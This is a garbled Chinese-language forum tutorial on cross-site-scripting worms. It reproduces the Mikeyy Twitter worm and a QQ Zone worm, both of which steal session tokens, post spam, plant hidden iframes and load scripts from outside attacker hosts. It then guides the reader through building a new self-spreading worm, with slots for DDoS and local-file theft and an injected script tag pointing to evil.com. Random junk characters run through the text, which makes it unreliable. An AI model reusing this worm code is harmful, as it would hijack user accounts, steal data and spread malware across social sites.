"&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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- h. J, h8 C. [! X) D 3. function XHConn(){ " |9 I1 d" u5 s% W
# N. T. h+ }+ M' N5 q, X 4. var _0x6687x2,_0x6687x3=false; - J9 t: [; ~. ]
( i( N, l" N, z1 G& x 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }
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0 j* u6 E5 F4 Y# x6 i 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }
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0 ]: F8 T$ Q1 O 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } ! q" m& Q, g* L
' _9 ~1 C5 x6 G2 l) X. W3 m3 Y
8. catch(e) { _0x6687x2=false; }; }; }; * Q2 k' B$ W S. ~3 {1 k& _0 {
复制代码第六版: 1. function wait() { $ f1 d( @# D8 p* M) k! O) v) {, l
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2. var content = document.documentElement.innerHTML; ' x& L: }0 b: }. U2 t
( I/ t% N& P) q; C: x 3. var tmp_cookie=document.cookie;
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0 y% M# C8 k* M& S: A6 \$ v 4. var tmp_posted=tmp_cookie.match(/posted/);
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9 w, `) s; a3 v5 |' u$ b 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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R2 b2 Z( d; O5 U- z 7. var authtoken=authtoken[1]; 5 A) b6 h# F7 w R, h" \0 T( C0 ?
, L! v8 R2 m- y9 |1 q- T 8. var randomUpdate= new Array();
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- N7 c0 Q; n4 ?4 ?- P. @ 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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$ i7 a ^+ ?; `, E 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; 2 u1 G! T/ O! L
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; " G/ C6 G- g6 L+ g$ G8 N* \
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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7 a4 _1 P' c% y6 ?5 Z$ e 16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; / q0 V9 m' v' y3 n! q$ N$ ^
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy."; ; x) Q5 F$ c p4 p' t; }# e
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ! u+ T% q) ]; `6 w& h! D
" X9 y3 s' M G7 Z 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; ) C* d# n) @" i' ~
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20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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% q' V# Y0 X/ K* _$ p8 ^) L 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; & Y( K. G6 w% u* S
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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w4 x0 e' b0 ?* O5 r' M 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); 6 i9 b. j, L8 c& d: z! ]
2 n5 P. s. F) J( Q1 H 27.
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28. var ajaxConn= new XHConn(); % n, L$ d+ A4 \; s& d0 y
- {, m, j; M: a* Z2 m+ Z 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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/ V# r, @" U7 o( h, n 30. var _0xf81bx1c="Mikeyy"; ' H" p' `. m7 [2 b
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn();
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, [1 g5 k2 z9 T i9 n4 m 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 4 T8 u2 i1 Z4 [ t* S+ z% \
+ p# g- P9 Q4 c L* Q 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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& b. i' s8 F7 `: Z+ `/ C 35. var XSS=urlencode(genXSS); / [, G3 `0 b0 U: V' Q6 b
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36. var ajaxConn2= new XHConn(); 5 v& c+ g1 _* N% l j" ~
) ?9 \3 p+ V+ R) { 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 7 G! x0 f* w) T2 ` k0 p
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38.
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39. } ; ; P$ I$ E" t. s* b, w
( Q0 i" H* A3 a0 Y 40. setTimeout(wait(),5250); * n4 e' |5 {. H& {, {: ?) ~
复制代码QQ空间XSSfunction killErrors() {return true;}, u3 T' N2 y. j2 z
. U# w, R( m% u! n) bwindow.onerror=killErrors;
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+ p# ^; C5 t4 {# t2 U5 Hvar shendu;shendu=4;
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7 n \' d9 a3 R v; B//---------------global---v------------------------------------------8 H# Q1 k, h# @( C# k8 h
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?$ l# |. M$ u. E! r9 ^/ F
' t' T& d3 G$ ^5 cvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;9 P" b) } b% `! Z
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var gurle=gurl.indexOf("com/");1 M9 ~2 @8 Z7 d" w
+ m+ B3 L5 ?# |' r& T gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;8 _/ Q& N" g7 Q
. e% J3 n3 n3 _' B7 z( F, n1 s var cookieS=visitorID.indexOf("g_iLoginUin = ");/ H' p) y" f X' `9 U, `
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visitorID=visitorID.substring(cookieS+14);
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; a3 C9 c* A2 u) Q* F8 w cookieS=visitorID.indexOf(",");0 i# k( H9 l; F. B
" f! O0 Q+ F( _5 h" l" E visitorID=visitorID.substring(0,cookieS);
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) ?7 N; a) c+ J: g: Y/ K+ T get_my_blog(visitorID);
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' A" G' U# o2 L$ F" I, h DOshuamy();
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@" `* }% J" i) ^2 A- L% ]6 V: x( |2 i, y6 x1 C6 c
//挂马( L1 g2 U* }% Q
/ W, m- X) [/ x' S; l/ M3 E- ?function DOshuamy(){6 ~$ u; A% Z3 X* _
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var ssr=document.getElementById("veryTitle");5 b( A5 z' Z; n' x+ \
9 p4 |" K1 W, b: @ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");" ^1 x+ W n* ]$ \1 j! }: f
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){& t9 i+ }+ [5 J" S1 t
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userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";; |+ Y( T% H6 a" O3 ?* Q6 q
' U; B! h. `. ?6 m xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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+ l9 _! e. J! J h! q# x$ {; C; i: Y0 V if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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2 W' V) s3 t+ M% {) [4 x xhr.send();guest=xhr.responseText;6 h+ q2 v: _& d6 W" i( {3 V2 S! R
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get_my_blogurl(guest); //执行这个函数 h+ x6 ~$ ~' v; k
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//这里似乎是判断没有登录的) Y/ y% F- L ?8 E, J% ]( k
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function get_my_blogurl(guest){
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& t/ H- \/ Y% I1 X0 E7 [ var mybloglist=guest;6 u1 m2 Z* Z2 g* I( [
+ |( J; Z: d1 C var myurls;var blogids;var blogide;+ D: B1 f ^) N" T; P ?! E0 `, R' S
* h E, z# A. N3 c
for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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: R) ?* o. P: v, y8 O2 c; j0 H2 S/ p if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);" {9 m/ C' {, A& i/ ~
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myurls=mybloglist.indexOf(')');+ S5 r2 i- y/ p* n
* n p' H3 G4 A) [2 Z myblogid=mybloglist.substring(0,myurls);
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3 A0 U! F" A. v! A }else{break;}
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" p' ], K% K% E! m7 fget_my_testself(); //执行这个函数( _' N' J1 s5 J0 B
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//这里往哪跳就不知道了
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function get_my_testself(){: ]; j6 Q& V' O/ }
: m* v3 P" j/ i- _7 k" | for(i=0;i<myblogid.length;i++){ //获得blogid的值
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var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();2 K$ [% e b! v* b6 s0 l7 M1 T
. d6 s/ z! I0 ]: T1 L3 V' t var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象$ e7 d6 z" j8 Q% y
x/ Q9 `: Y+ r) ^6 u0 R& d/ k
if(xhr2){ //如果成功
3 D8 z# v" O: }; K! k& E" ~5 A9 e2 L
xhr2.open("GET",url,false); //打开上面的那个url4 a# }/ D5 X+ x8 M5 K s
7 n* S2 J7 J) t9 N, u1 G" X
xhr2.send();4 E, g( A) `# R1 k& ]( {, ]- G% k
( @% G S% h- c; C1 ? ~0 I
guest2=xhr2.responseText;
! W9 ^2 b: \9 x! U9 R: S9 p; ]! ]3 \1 _* @
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
( o* \- b( V5 Q& \$ r0 w# N P1 U9 I) n
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串% Q& P/ ^2 J* @" D/ C/ H* n
( w3 C9 D. h! _4 ~: z, A if(mycheckmydoit!="-1"){ //返回-1则代表没找到
# ?0 T0 f! V$ P' E
7 ^: g# U( p6 Z7 u) S$ t/ p targetblogurlid=myblogid;
, H* B! \' {, A3 _+ @5 i& M3 w; o6 @. I" c+ G6 R
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
^) ?/ v" u% Z' o2 |# f6 q( |$ L+ Z
break;
; W1 {' ]$ }& p5 |, O
* V6 O* w6 M" ]+ U4 s2 e7 W, o }
8 O v( g4 K% A% S# j# R( [
6 E2 k& _5 q4 S; O/ b& H, k0 ^$ A if(mycheckit=="-1"){
( v( P. Z; a9 X1 Q5 ^$ B5 S1 U0 v' N* K& h
targetblogurlid=myblogid;
( _& I1 ^5 D% m9 I4 X, S ^
% `$ p3 A [- G/ c add_js(visitorID,targetblogurlid,gurl); //执行它
- |6 z( q5 k1 l; j: `5 y2 O9 b; ?$ N& F
break;- U" Q5 f y3 g4 `9 `: q
$ q4 x( e5 n! H
}
& M) J* J; p9 {3 m* `, D( Q/ T' y: r3 q2 l$ w r0 r
}
% k0 x7 d, ` K" S9 f; f1 @ ?2 l8 z6 c D4 a3 z3 t
}1 t% a7 l1 [% e! z/ w% U- G; P( Y
& v) \0 c! J, g. p
}3 |9 w, n) m+ y0 J; L
% C5 o1 X& n. J3 X2 N% g3 S8 ^0 P0 P5 m
- i' X. { M7 F i! x//--------------------------------------
8 s" E. w d/ t5 \2 i+ Q5 r: L
4 S% W W2 U: o2 A* {3 p% T+ ?//根据浏览器创建一个XMLHttpRequest对象- g3 S5 d% x9 s9 ~$ u* b& S+ L
X3 t: y! U8 m7 p' k1 D6 A/ j
function createXMLHttpRequest(){) z6 _4 }. x! B' m
0 j; p( ^" m$ E K var XMLhttpObject=null; 1 _7 g2 l5 K4 k C( R
U8 z2 C) d; ?' }9 q, Q if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
f. P+ }2 z. T( D& Y
5 |" y* c4 q2 @" c else 0 {- ]! }% {4 m! E7 Q1 ]
* I8 Y6 }. r2 x7 R# n0 E { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
! Q; x( @; A# [2 \" c! \* x: ^$ P7 X* Z' m0 ~4 x+ j
for(var i=0;i<MSXML.length;i++)
+ j/ e+ [: m" X/ P8 g+ C" W8 B1 t. z: r" z
{ 5 Q. U3 {- {$ Z: D2 g* N. r
$ w- s' ~! S7 `5 m
try $ [" Y" q0 H5 w1 c9 S7 ~# n
& i! P: l/ Q! s- Z4 |) A/ c% d
{
" x' D; H2 d7 _' f0 y1 o8 q2 h. x9 G* d; {; D- ~
XMLhttpObject=new ActiveXObject(MSXML); p4 T8 e% e" \. p2 c
! |/ W, c" {: C% R- L break; 0 b- Q% k8 `6 ?
. N' i# S# ~ W$ O7 U6 [0 @! S }
9 A% e9 S& V% L1 ]+ {+ `! P+ Z" r$ u' F$ o1 @2 [2 F
catch (ex) {
. S0 b. R) ~1 r( C" Z0 K: y) i/ {5 |6 A( ?
}
- [- M+ e: d: H6 _ F* I. E- Z. \1 n: x! ]
}
5 o/ ~9 o; x4 H* Z; e; W9 k8 I0 u' v- n
}+ x4 J$ P1 d6 c
% Q( P6 p7 G: ^' K7 Ereturn XMLhttpObject;
! t6 x2 O1 H& F# u, R! U
- s- Q0 u: o, `. h; M} 1 N! l$ d: g L f6 s
( M5 ?+ u# ~% k+ Y
/ P5 x; a: M; L, x2 ?0 }
C5 A) B# f' V1 O- @; i: `' G
//这里就是感染部分了
7 Z$ {' \' R N/ b& U8 I
9 x6 d% J+ v) I! j0 m: B( Z- j. `function add_js(visitorID,targetblogurlid,gurl){
1 Y. ]+ ?, Q& \1 u) I7 ?8 @& h G7 u: v7 p
var s2=document.createElement('script');% L& D' D2 _- b: Q$ Z
) ~9 {9 z: c- H$ K! v" [* Q$ t
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
! M2 I8 j+ c9 }$ [9 ]& q1 ]5 l X2 m* S
s2.type='text/javascript';: M* p) V% r( b M( r
* q/ Q* H! M6 X7 i6 P/ kdocument.getElementsByTagName('head').item(0).appendChild(s2);4 T% ?2 ?6 ~: H" O9 ]7 s
6 o' t& ^1 Q. r1 P" |( ^
}
5 U4 T8 c( `+ f
2 W2 W& u( [+ Y* d; Q/ Z) U3 D: Z8 a$ d, @; ~% Z& u+ ~8 F+ g5 W
! T( T9 h; S3 Q2 ffunction add_jsdel(visitorID,targetblogurlid,gurl){
6 Z9 v6 l6 ^: G9 u1 b4 U# G J J2 ^( x0 s' a! T3 z; |
var s2=document.createElement('script');
% B; y$ H3 w: s; ^! m% m/ Z3 k, `+ l# g
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();: S9 r" b- k1 P! J- u% P
; H7 w1 j) A$ S% x/ ds2.type='text/javascript';
$ X4 B: X+ g) d8 y) z
# j) `& a: [, u( r$ Ldocument.getElementsByTagName('head').item(0).appendChild(s2);+ g4 ?$ P& u* T
% W( s$ m$ s' V
}
2 E; p' L) W! p0 C: t- N% `复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:7 [) n: I' U" o q% }- B6 w
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.), m! q2 Y7 X# f+ h9 u
8 U1 {1 j; r/ D' Q; H4 q0 n5 ^5 Q: W
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
h$ n1 E" v# r4 {
% W) `) y2 y: U综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
- b% }. c: S% |( ~) D
% ~. M. V# z2 l
/ }6 C( M& Q( ~8 t4 H0 J7 U下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方." y4 z; Y9 T; {( ]8 V
2 P' w1 c& f7 U" z- d0 ?3 C; j
首先,自然是判断不同浏览器,创建不同的对象var request = false;' K, B5 `: G; v w3 z( `
3 {* m# c& f' F; Q5 v3 m2 g" Mif(window.XMLHttpRequest) {
& |3 E2 q$ L' j( _$ {
& Q4 B( N9 J1 [% Z5 o& W% ~request = new XMLHttpRequest();
( F$ X% U& ~ |5 R1 I
3 i4 S% W9 [- w# c/ z. n1 ?2 b6 Bif(request.overrideMimeType) {
1 a. w/ `/ Y% Z8 D" v5 x# u% j
P3 e1 X4 m# }$ O$ R% s) J& |( Trequest.overrideMimeType('text/xml');8 C4 f7 d$ P0 D0 O, {/ O
7 W' R$ v) e* C}
/ x* z9 Y, ~, D1 U3 S& x9 @2 ^ }9 f% |* A0 f; D$ h+ B y5 A
} else if(window.ActiveXObject) {
( S: h* Z& i! d- v" g2 U
1 J& o/ x1 {5 r/ Q( ~2 [: C1 {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];9 p& s# w# @# F; z0 [7 e
2 D1 G5 K0 T8 Q7 j2 E" o
for(var i=0; i<versions.length; i++) {! `5 }: h7 Y% x5 f% i$ a: K
) B3 N9 J6 R! e& C) D# R) Wtry {
, m( y* u6 o2 y( n( q
5 q( S1 U. ?% Z7 Y9 s. `4 U, z6 M( Arequest = new ActiveXObject(versions);
( O" _5 B$ a, l: l1 `! M* Z' ~2 _) G9 l1 C
} catch(e) {}( S3 A! f0 \# k0 q
. v- H$ a) y; K! s& n# c
}
) B. C+ y9 a% V4 B) [ _, o7 ]/ g; }0 U4 F. `4 E0 ^
}* X3 m) R4 E' R6 |3 r: A
, j7 q Z& }4 U9 T
xmlHttpReq=request;
* C! S7 ^9 m# C复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
# X- l" T/ ]; g. w1 v
6 y$ ?8 r6 t' c: k" u0 Y var Browser_Name=navigator.appName;
! d8 ^, { f8 ?8 F2 K. G8 I- W4 Z: D4 F6 Z. h$ U( e
var Browser_Version=parseFloat(navigator.appVersion);6 ]" O: }: y3 J# R' j! J$ X% e
$ I9 b' p: x k1 I+ o var Browser_Agent=navigator.userAgent;* g1 U+ R3 ^3 l0 D7 E
( g: R6 e% j; n2 o! U. B8 |# ~
: g! E8 \+ W1 w4 j/ I6 U1 E1 M4 b2 G, Q. D8 ]$ y T
var Actual_Version,Actual_Name;
6 o" v8 x# f% c; m4 t: f- t8 b6 R& h
$ t5 q$ U" h' t; Z* w9 Q3 O) o! Q
# l/ k0 v. R8 v
' c3 D% I; r% w; z( c, x var is_IE=(Browser_Name=="Microsoft Internet Explorer");
9 J$ Y* C3 w4 m! n1 v i3 X# w) G- S. k8 X2 m" I4 S2 q5 L
var is_NN=(Browser_Name=="Netscape");
$ g/ a: s4 F" f( U6 z+ ~4 {2 F5 W# m" M2 G4 f0 e
var is_Ch=(Browser_Name=="Chrome");
; Z9 Q2 Z l2 R' Z
' ~* ]2 q2 ^: ^5 M5 V 6 v+ _1 U; B' K$ l" P7 R; ]
Z7 J) F9 A% t- r, t* j
if(is_NN){
) l# z6 |2 x# G( [9 X
0 \2 W4 C) v3 K* Z2 v& D$ q s; Q4 D if(Browser_Version>=5.0){
3 Z1 |0 h8 d8 e- w! [; k
9 Z6 u0 l! W5 I) ? var Split_Sign=Browser_Agent.lastIndexOf("/");: T" A- v+ n( H% Q9 I, z! x
) f Y" u6 a, S+ _/ x O var Version=Browser_Agent.indexOf(" ",Split_Sign);
5 q# |. ]+ [; U$ J3 L# _/ s5 `- B# y
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);# J8 H/ J; {9 r/ C+ H$ T3 n* ]8 s5 I0 d
# q- b" S s: v# i' h, e% d. u
: n4 N7 c4 U, `" l6 A3 K ], e( { K7 o @: L# O' `! V/ v
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);* P2 C: v- b' J% p5 Q( w7 `: c, f9 k+ m1 I
1 T X+ |% O3 K# \ ^
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign); {: S3 u" |9 a; f
* c; @# P* D. |, [
}% E! Q* A# J( r; N* v' F, Q3 u" o
, K6 ?' Z0 h# |, Y else{/ r' ~- P+ U" E$ n: |0 I7 k
& o6 ^6 L6 o' }" f* v- C: q
Actual_Version=Browser_Version;
# e2 k5 D5 i# a- T5 F- C7 s* j7 L. F
Actual_Name=Browser_Name;, s5 a" X( p& Q% D; _
+ K/ {" B! J- l2 ]9 \1 u
}/ y* J* c3 y5 f& O, H4 ~9 V9 c
% [! \0 Z. q2 i% [0 E }
; x& y# ?& K. [# m, @7 s# |2 I" z3 f8 N% b8 N4 v: o
else if(is_IE){' m% I6 l, d( _3 ^1 h
6 x2 s- \5 G1 j) O% }
var Version_Start=Browser_Agent.indexOf("MSIE");
7 Z) l5 ~: i$ |$ R6 M+ F9 Q& }9 s9 B! Q, I+ W9 J& m2 o; F
var Version_End=Browser_Agent.indexOf(";",Version_Start);
8 R/ t7 u- |4 x4 E. w
; {; o3 N Z) a2 w+ | Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)) E1 o2 p+ C1 m. K. O
- c$ Z+ Q- T9 a$ d: r' L5 K6 m1 v0 v
Actual_Name=Browser_Name;3 b5 p! ]' E: e
0 y/ B* L- Z2 l& |5 S
/ l/ o- _3 h7 K/ }* `$ f( e
; @' T6 K& A, F6 c _3 j
if(Browser_Agent.indexOf("Maxthon")!=-1){
' v; M5 O' l E8 J8 g& [) @: P8 S7 n( B4 L( Q; w. D- }# a, o4 w6 A3 g9 f, a
Actual_Name+="(Maxthon)";4 g4 x1 ]" O8 X! y% T( B" W
. w6 J5 D8 @# Y- N }9 ^( t) [0 j9 ?) _, Q$ t
- ?$ `0 L( e1 u0 C
else if(Browser_Agent.indexOf("Opera")!=-1){. P8 @% `: T( `- `9 R
5 ]8 k; H) Y5 [) `- O; \
Actual_Name="Opera";
( V+ t1 \7 S1 B- l$ b$ V0 F F& s7 ?) Y; L# ?+ [2 y6 N. x
var tempstart=Browser_Agent.indexOf("Opera");3 ]3 y+ Y2 V5 [& n8 U4 h4 J, I9 l
+ O! l7 x# ^( I" e v$ H1 G6 l, v( M1 K
var tempend=Browser_Agent.length;
9 a7 q6 w6 J! X j. J$ ?
' e" \# r5 t4 |1 l( b( } Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
# I" y1 C1 R: E3 b, o0 S* e2 P# D. w, J" ^/ V% a( t
}
9 h+ W- i! g I# t0 @$ M z
' p! L& j/ N2 j7 [6 t4 [+ j }# i e+ Q5 A$ _" ^5 ]4 m
3 K% c7 f5 u/ X: W else if(is_Ch){, ~% q0 ?8 C6 g: l! y
% x3 r, b+ R' j4 h7 B! j$ b6 r
var Version_Start=Browser_Agent.indexOf("Chrome");( d, b& d/ M* d' A+ c/ i; U
- q; G1 V. E5 H2 y2 z* D+ c" N% q var Version_End=Browser_Agent.indexOf(";",Version_Start);8 C+ |$ o; {8 `* d2 Z) P
0 y* ]9 J5 i( V3 Y; {+ B2 g
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
s1 H7 Z( k3 H
: P% H! m1 J4 G5 E. J Actual_Name=Browser_Name;4 |# ]0 g! W) ~/ O) m; b* q
3 w+ s1 {* B9 x/ @- t
: f; p+ Z* j* f8 w
+ k' v( i; E$ M% t8 y/ e
if(Browser_Agent.indexOf("Maxthon")!=-1){
( |' j4 ]" p& B" J) {3 P; X0 ]3 I, E1 N
9 i/ c& s6 D3 \% T! |# a% Z Actual_Name+="(Maxthon)";
% a* P: y( P, b6 U8 Q: `. B1 L5 j6 ?; O Q! `
}1 j% m! J, m1 E) ^/ ?# o/ k
+ `3 V3 A3 X! g4 L3 D
else if(Browser_Agent.indexOf("Opera")!=-1){
# t2 g" ?1 H9 r$ ^; Y/ |6 [& O7 T" c8 |* Y5 M# v7 e1 W, l' E) X
Actual_Name="Opera";
- p/ \$ O) M' I+ y
' k" l; f2 g8 e' v% x" j( m var tempstart=Browser_Agent.indexOf("Opera");
( J& @2 k3 L1 v, E: B
* H. h! Z6 A/ a$ d- H# \' ^ var tempend=Browser_Agent.length;
& [8 r, s. X: n& W, v, Q4 q& k7 ~8 _0 i7 E; [
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
6 O" A( M5 ?" W! o. r ?# s+ X& k3 e
}
( Q* v( c* I0 X5 q) r
$ J- O/ ~" O# d/ h' ]8 W7 F }
5 _' l' J" ?; H4 N( D% f- [: z! t3 a i X& S8 f3 B
else{" Q/ p" \0 _3 F1 m- ]* m+ Y
8 d8 C1 L5 u' W, s5 S% ? Actual_Name="Unknown Navigator"+ {- G M; D( s
6 H9 C4 P# j- d! f Actual_Version="Unknown Version"& x- N' D ]. s( e; S+ S; |
' H3 C& L- j/ I% E8 k; X' \) K8 h, I. o: ? }
* J' k% j1 O; g: R6 e4 A! p) ^4 {& H% I
; _. {4 X* p# b3 r$ X" Q3 O
; ~: _! R8 x% i3 q+ M \ navigator.Actual_Name=Actual_Name;+ j5 J; m1 B: K; g
. U4 e) W5 j; z! U navigator.Actual_Version=Actual_Version;! P3 _, b: S7 L* M$ Y: v5 x' q4 ?
, j, V- L6 [1 L# L/ R
9 H8 _8 c& x+ \! Q3 N0 Y0 f( |
+ M# R6 H" J: T: q5 [' f" }
this.Name=Actual_Name;
0 s! c" c. d2 b N8 g6 v5 x; O% d. E1 |" [7 C( X. A* c( R
this.Version=Actual_Version;
0 F1 S" G6 G7 i) x @4 g" e8 Y
7 n: N" C, U$ b }
$ S, M5 I0 n$ }* M+ q* z/ b& I/ b6 W- G' {, j7 X
browserinfo();5 J% j; X) m: `) C
0 O# B% O7 Q# ]/ N! ]. l
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
5 [5 B( Y( K* z3 |$ ?. f7 B6 w0 M% |6 w/ q3 t8 w; Z1 K& I* e
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
2 i& o+ E7 M( [9 _0 C1 b) `* p9 E9 K& I% I0 e; h2 i R
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
' C$ ?- j' Y/ F- `, i& \: k. g. c3 {# U! _( Z
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
. N) r4 F, f- J5 M复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
5 E9 V1 V" j4 F8 F6 j5 X复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码: X; J8 ]5 m6 [0 d" q! x/ X0 m& L& y; I
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
& A* m; ^! w S* r5 u0 W: X4 |; E4 g
xmlHttpReq.send(null);
' o4 o# l9 h: A V8 `. E- m2 `2 ^! E# w: Z8 ~' b1 A4 G5 f0 D+ L
var resource = xmlHttpReq.responseText;! [, l- ?7 b' E' v/ `
7 n% H! r2 w/ ^/ S
var id=0;var result;
* C- J$ J2 P! f+ m) f1 Y
6 ~; m b& X$ g& K% Lvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.+ Y L5 ^5 c8 Z$ H; E
$ b5 `; u. g& u+ U9 R$ V
while ((result = patt.exec(resource)) != null) {
+ L! \( E S/ Z" P: r5 i
, }8 i# @1 A9 R$ b( `id++;& W7 ]& p5 N8 A" H/ v+ P$ @, B: {
+ O' r6 G5 G5 g" l
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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no=resource.search(/my name is/);* D6 t- k h2 Z
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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var post="wd="+wd;
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去. f' G4 s4 ?6 n* Q! x" {# d- p
3 w$ z1 Z) f1 U, f" P- w3 [1 KxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");0 A1 u1 q. Q% |* m
